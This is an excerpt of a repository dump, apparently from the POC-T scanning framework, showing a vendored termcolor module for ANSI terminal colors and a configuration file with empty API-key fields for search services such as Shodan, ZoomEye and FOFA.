AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 23 | # THE SOFTWARE. 24 | # 25 | 26 | pass 27 | -------------------------------------------------------------------------------- /thirdparty/termcolor/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author = i@cdxy.me 4 | # project = https://github.com/Xyntax/POC-T -------------------------------------------------------------------------------- /thirdparty/termcolor/termcolor.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright (c) 2008-2011 Volvox Development Team 3 | # 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | # 11 | # The above copyright notice and this permission notice shall be included in 12 | # all copies or substantial portions of the Software. 13 | # 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | # THE SOFTWARE. 21 | # 22 | # Author: Konstantin Lepa 23 | 24 | """ANSII Color formatting for output in terminal.""" 25 | 26 | from __future__ import print_function 27 | import os 28 | 29 | 30 | __ALL__ = [ 'colored', 'cprint' ] 31 | 32 | VERSION = (1, 1, 0) 33 | 34 | ATTRIBUTES = dict( 35 | list(zip([ 36 | 'bold', 37 | 'dark', 38 | '', 39 | 'underline', 40 | 'blink', 41 | '', 42 | 'reverse', 43 | 'concealed' 44 | ], 45 | list(range(1, 9)) 46 | )) 47 | ) 48 | del ATTRIBUTES[''] 49 | 50 | 51 | HIGHLIGHTS = dict( 52 | list(zip([ 53 | 'on_grey', 54 | 'on_red', 55 | 'on_green', 56 | 'on_yellow', 57 | 'on_blue', 58 | 'on_magenta', 59 | 'on_cyan', 60 | 'on_white' 61 | ], 62 | list(range(40, 48)) 63 | )) 64 | ) 65 | 66 | 67 | COLORS = dict( 68 | list(zip([ 69 | 'grey', 70 | 'red', 71 | 'green', 72 | 'yellow', 73 | 'blue', 74 | 'magenta', 75 | 'cyan', 76 | 'white', 77 | ], 78 | list(range(30, 38)) 79 | )) 80 | ) 81 | 82 | 83 | RESET = '\033[0m' 84 | 85 | 86 | def colored(text, color=None, on_color=None, attrs=None): 87 | """Colorize text. 88 | 89 | Available text colors: 90 | red, green, yellow, blue, magenta, cyan, white. 91 | 92 | Available text highlights: 93 | on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, on_white. 94 | 95 | Available attributes: 96 | bold, dark, underline, blink, reverse, concealed. 97 | 98 | Example: 99 | colored('Hello, World!', 'red', 'on_grey', ['blue', 'blink']) 100 | colored('Hello, World!', 'green') 101 | """ 102 | if os.getenv('ANSI_COLORS_DISABLED') is None: 103 | fmt_str = '\033[%dm%s' 104 | if color is not None: 105 | text = fmt_str % (COLORS[color], text) 106 | 107 | if on_color is not None: 108 | text = fmt_str % (HIGHLIGHTS[on_color], text) 109 | 110 | if attrs is not None: 111 | for attr in attrs: 112 | text = fmt_str % (ATTRIBUTES[attr], text) 113 | 114 | text += RESET 115 | return text 116 | 117 | 118 | def cprint(text, color=None, on_color=None, attrs=None, **kwargs): 119 | """Print colorize text. 120 | 121 | It accepts arguments of print function. 122 | """ 123 | 124 | print((colored(text, color, on_color, attrs)), **kwargs) 125 | 126 | 127 | if __name__ == '__main__': 128 | print('Current terminal type: %s' % os.getenv('TERM')) 129 | print('Test basic colors:') 130 | cprint('Grey color', 'grey') 131 | cprint('Red color', 'red') 132 | cprint('Green color', 'green') 133 | cprint('Yellow color', 'yellow') 134 | cprint('Blue color', 'blue') 135 | cprint('Magenta color', 'magenta') 136 | cprint('Cyan color', 'cyan') 137 | cprint('White color', 'white') 138 | print(('-' * 78)) 139 | 140 | print('Test highlights:') 141 | cprint('On grey color', on_color='on_grey') 142 | cprint('On red color', on_color='on_red') 143 | cprint('On green color', on_color='on_green') 144 | cprint('On yellow color', on_color='on_yellow') 145 | cprint('On blue color', on_color='on_blue') 146 | cprint('On magenta color', on_color='on_magenta') 147 | cprint('On cyan color', on_color='on_cyan') 148 | cprint('On white color', color='grey', on_color='on_white') 149 | print('-' * 78) 150 | 151 | print('Test attributes:') 152 | cprint('Bold grey color', 'grey', attrs=['bold']) 153 | cprint('Dark red color', 'red', attrs=['dark']) 154 | cprint('Underline green color', 'green', attrs=['underline']) 155 | cprint('Blink yellow color', 'yellow', attrs=['blink']) 156 | cprint('Reversed blue color', 'blue', attrs=['reverse']) 157 | cprint('Concealed Magenta color', 'magenta', attrs=['concealed']) 158 | cprint('Bold underline reverse cyan color', 'cyan', 159 | attrs=['bold', 'underline', 'reverse']) 160 | cprint('Dark blink concealed white color', 'white', 161 | attrs=['dark', 'blink', 'concealed']) 162 | print(('-' * 78)) 163 | 164 | print('Test mixing:') 165 | cprint('Underline red on grey color', 'red', 'on_grey', 166 | ['underline']) 167 | cprint('Reversed green on red color', 'green', 'on_red', ['reverse']) 168 | 169 | -------------------------------------------------------------------------------- /toolkit.conf: -------------------------------------------------------------------------------- 1 | [zoomeye] 2 | email: 3 | password: 4 | 5 | [shodan] 6 | api_key: 7 | 8 | [google] 9 | #proxy:http 127.0.0.1 1894 10 | #proxy:sock5 127.0.0.1 7070 11 | proxy: 12 | developer_key: 13 | search_engine: 14 | 15 | [fofa] 16 | email: 17 | api_key: 18 | 19 | [bing] 20 | api_key: 21 | 22 | [cloudeye] 23 | # your API-key in "http://cloudeye.me/?a=list" 24 | api_key: 25 | # your personal sub-domain, like: [user].dnslog.info 26 | personal_domain: --------------------------------------------------------------------------------